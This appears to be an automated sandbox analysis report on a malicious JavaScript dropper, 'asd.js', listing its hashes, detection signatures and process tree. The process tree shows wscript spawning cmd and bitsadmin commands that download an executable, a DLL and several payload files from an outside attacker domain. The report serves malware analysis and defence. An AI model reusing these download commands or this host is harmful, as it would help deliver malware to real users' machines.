Analysis

  • max time kernel
    121s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20231025-en
  • resource tags

    arch:x64arch:x86image:win7-20231025-enlocale:en-usos:windows7-x64system
  • submitted
    22/11/2023, 15:12

General

  • Target

    asd.js

  • Size

    9KB

  • MD5

    422c42c5de0302f8297b4fb15e33f00d

  • SHA1

    3e58421fef036bc38e6354b16db1616278a79cf9

  • SHA256

    d303a6fa94d9e755b2724e61940c9855550767fe2cbce850be0af9fb2745f59d

  • SHA512

    5623b64eb2cbc2457094348b23ae8b6c3c1edc97fac4d71b4793385620258549257dbc476f2e3eec60e5a5f3a244a45b619ab39b5ce0b43c8d5ec26c2dc48bba

  • SSDEEP

    96:fFmCWEI5f7mxRgHw9Aqd8p8wrwzWk1fjnCafs:fFJWf9tHw9jW8wrXk1fjjfs

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Download via BitsAdmin 1 TTPs 6 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\asd.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2136
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /V /C "echo C:\TempData71862490209\>C:\Users\Public\Libraries\ex"&& exit
      2⤵
        PID:2080
      • C:\Windows\System32\bitsadmin.exe
        "C:\Windows\System32\bitsadmin.exe" /reset
        2⤵
          PID:2644
        • C:\Windows\System32\bitsadmin.exe
          "C:\Windows\System32\bitsadmin.exe" /transfer 67022686122 /priority foreground http://tpoi5i.cargadorepteis.sa.com/?47393640830628749 "C:\TempData71862490209\Kingston.QNAP.06636.6530.247.exe"
          2⤵
          • Download via BitsAdmin
          PID:2788
        • C:\Windows\System32\bitsadmin.exe
          "C:\Windows\System32\bitsadmin.exe" /transfer 67022686122 /priority foreground http://tpoi5i.cargadorepteis.sa.com/?47362602242632968 "C:\TempData71862490209\Kingston.QNAP.06636.6530.247.log"
          2⤵
          • Download via BitsAdmin
          PID:2944
        • C:\Windows\System32\bitsadmin.exe
          "C:\Windows\System32\bitsadmin.exe" /transfer 67022686122 /priority foreground http://tpoi5i.cargadorepteis.sa.com/?34297230365639081 "C:\TempData71862490209\Kingston.QNAP.06636.6530.247dbl.log"
          2⤵
          • Download via BitsAdmin
          PID:3064
        • C:\Windows\System32\bitsadmin.exe
          "C:\Windows\System32\bitsadmin.exe" /transfer 67022686122 /priority foreground http://tpoi5i.cargadorepteis.sa.com/?61043668849678084 "C:\TempData71862490209\sqlite3.dll"
          2⤵
          • Download via BitsAdmin
          PID:2524
        • C:\Windows\System32\bitsadmin.exe
          "C:\Windows\System32\bitsadmin.exe" /transfer 67022686122 /priority foreground http://tpoi5i.cargadorepteis.sa.com/?50998200058693680 "C:\TempData71862490209\sdk.log"
          2⤵
          • Download via BitsAdmin
          PID:1096
        • C:\Windows\System32\bitsadmin.exe
          "C:\Windows\System32\bitsadmin.exe" /transfer 67022686122 /priority foreground http://tpoi5i.cargadorepteis.sa.com/?53154035552613947 "C:\TempData71862490209\dump.log"
          2⤵
          • Download via BitsAdmin
          PID:1736
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /V /C "echo Kingston.QNAP.06636.6530.247>C:\TempData71862490209\\r2.log"&& exit
          2⤵
            PID:1612
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /V /C "echo Kingston.QNAP.06636.6530.247>C:\TempData71862490209\\r.log"&& exit
            2⤵
              PID:1628

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads